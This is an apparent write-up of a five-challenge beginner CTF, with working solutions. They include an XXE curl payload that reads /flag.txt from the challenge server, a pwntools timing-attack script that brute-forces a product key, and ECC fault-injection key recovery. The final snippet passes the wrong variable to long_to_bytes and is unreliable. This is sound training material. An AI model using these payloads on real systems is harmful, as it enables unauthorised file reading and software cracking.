️🏴 MetaCTF June 2024 Flash CTF
A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.
Details here: https://app.metactf.com/join/jun2024.
Anonymoose
Your anonymous music producer friend (D34DM0053) is getting ready to publish an open letter on mental health in the music industry, but they don’t know much about computers. Can you help double check their letter to make sure it isn’t leaking their identity?
Things are off to a flying start as the flag is right there in the PDF’s metadata:
❯ pdfinfo D34DM0053_Open_Letter_Mental_Health.pdf
Author: MetaCTF{Wren_Gaillard}
Creator: Writer
Producer: OpenOffice 4.1.15
CreationDate: Tue Jun 11 17:42:36 2024 BST
Custom Metadata: no
Metadata Stream: yes
Tagged: no
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 1
Encrypted: no
Page size: 612 x 792 pts (letter)
Page rot: 0
File size: 128361 bytes
Optimized: no
Where We JMPing
Quick, we need to pick a place to JMP to! Can your tremendous strategy get us the win?
Connect via
nc kubenode.mctf.io 30006
and find out.You can grab the binary here. Good luck!
Loading the provided where_we_jmping
binary into Decompiler Explore, there’s this in Hex-Rays:
//----- (00000000004011A6) ----------------------------------------------------
int win()
{
char v1; // [rsp+7h] [rbp-9h]
FILE *stream; // [rsp+8h] [rbp-8h]
stream = fopen("flag.txt", "r");
if ( !stream )
return puts("Error: Could not find 'flag.txt'");
puts("Contents of 'flag.txt':");
That 00000000004011A6
is the offset of this function:
❯ nc kubenode.mctf.io 30006
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222): 0x4011A6
Jumping to address 0x4011a6!
Contents of 'flag.txt':
MetaCTF{jmp1ng_t0_th3_g00d_l00t}
Dot-Matrix Destruction
I wanted to buy one of those squeaky old printers from this vintage printer company, but they’re all so overpriced. Forget that. Can you just have them print out the flag for us?
The flag is at
/flag.txt
.
The challenge spawns a container at http://py42aoqa.chals.mctf.io/
. There’s no obvious SQLi or similar but the input is XML so…XXE time!
There’s a fairly standard LFI via XXE. That allows files to be read but how to actual present the contents of that file? Thankfully, if an invalid <country>
element is passed, the invalid data are presented in the resulting error message, allowing the LFI to be similarly displayed:
curl http://py42aoqa.chals.mctf.io/api/search_printers \
--silent \
--include \
--request POST \
--header 'Content-Type: text/plain;charset=UTF-8' \
--data $'
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY ctf SYSTEM "/flag.txt"> ]>
<query><search>3</search><country>&ctf;</country></query>'
HTTP/1.1 200 OK
Date: Fri, 21 Jun 2024 18:05:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 123
Connection: keep-alive
<error>The country code MetaCTF{y3ah_xxe_d0e5_r0ck_d0esnt_it?}
is not a recognized country code.</error>
Clock Out
I’m trying to crack this timecard software so I can illegally use it for free. Pls Help!
Grab the binary here.
When run, the provided clock_out
binary prompts for a product key. There are some initial checks (like the flag being exactly 22 characters), then each character of the input value is hashed:
while (true)
{
v4 = 0;
v3 = *((char *)v11);
SHA256_Init(&v2);
SHA256_Update(&v2, v0, 1);
SHA256_Final(v1, &v2);
if (*((int *)v12) != *((int *)&v5))
{
v12 += 4;
v9 -= 8;
v11 += 1;
usleep(0x64);
if (v12 == v10)
return !v9;
}
else
{
v12 += 4;
v9 -= 16;
v11 += 1;
usleep(0x2710);
if (v12 == v10)
return !v9;
}
}
Depending on whether the hashed character is in a pre-existing list of hashes, it sleeps for a different duration: it’s a timing attack.
import sys
import time
from pwn import context, process
context.binary = "./clock_out"
context.log_level = "error"
def run_proc(cmd, product_key):
p = process()
p.readuntil(b"Enter your Product Key\n\n")
p.sendline(product_key.encode())
_ = p.readline()
p.close()
flag = "MetaCTF{"
while not flag.endswith("}"):
timings = list()
for c in range(33, 127):
sys.stdout.write(flag + chr(c) + "\r")
sys.stdout.flush()
product_key = flag + chr(c) + "#" * (22 - (len(flag) + 1))
start = time.time()
p = process()
p.readuntil(b"Enter your Product Key\n\n")
p.sendline(product_key.encode())
_ = p.readline()
p.close()
duration = time.time() - start
timings.append((c, duration))
(c, _), *_ = sorted(timings, key=lambda t: t[1], reverse=True)
flag += chr(c)
sys.stdout.write(flag + "\r")
print(flag)
After a while:
❯ python3 clock_out.py
MetaCTF{time->tm_hour}
Faulty Curves
There’s something wrong with my decryptor… Download the source code here.
The function naming here is fairly kind: it’s using Elliptic Curve Cryptography but, by virtue of the fault()
function, is adding “faults” into the private key (my_priv
). Specifically, it’s flipping bits.
For every bit in the private key, it:
- generates a random message point
M
on the curve and stores it; - computes encrypted points,
C1
andC2
; - injects a fault into the private key by flipping a bit;
- uses the new, faulty private key to decrypt
C2
.
To reverse this, given ms
, C1s
, C2s
and decs
as per the out.txt
file, it should be possible to:
- convert the stored coordinates back to their Elliptic Curve points;
- determine the difference between the decrypted point and the message point;
- calculate the point product for the current bit;
- from that, determine whether the bit should be a
1
or0
.
I admit that I barely understand that; I’ve a lot of reading to do…
for bit_position in range(len(ms)):
message_point = E(ms[bit_position])
C1_point = E(C1s[bit_position])
C2_point = E(C2s[bit_position])
decrypted_point = E(decs[bit_position])
difference = decrypted_point - message_point
point_product = C1_point * (2 ** bit_position)
if point_product == difference:
reconstructed_priv_key_bits += "1"
else:
reconstructed_priv_key_bits += "0"
reconstructed_priv_key_bits
at this point is backwards due to the way it was processed but thankfully:
private_key = int(reconstructed_priv_key_bits[::-1], 2)
print(long_to_bytes(reconstructed_priv_key_bits).decode())
…which gives:
MetaCTF{F4ult_1nj3ect10n_FTW}